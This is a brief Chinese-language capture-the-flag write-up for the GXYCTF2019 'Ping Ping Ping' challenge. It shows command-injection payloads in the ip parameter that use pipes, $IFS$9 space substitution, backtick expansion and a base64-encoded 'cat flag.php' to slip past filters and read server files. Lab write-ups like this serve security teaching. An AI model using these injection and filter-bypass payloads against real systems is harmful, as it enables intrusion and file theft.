[GXYCTF2019]Ping Ping Ping WP

[GXYCTF2019]Ping Ping Ping WP

打开之后，随便输入?ip=1或者127.0.0.1

| ls /

经过多次尝试之后发现过滤了空格，flag和/

?ip=127.0.0.1|ls

用管道符|拼接两道命令

tac$IFS$9index.php

看一下都过滤了哪些

法一

?ip=127.0.0.1|tac$IFS$9`ls`

可以用这个直接查看当前目录所有内容

法二

?ip=127.0.0.1|`echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d`

将cat flag.php 用base64编码一下

查看源码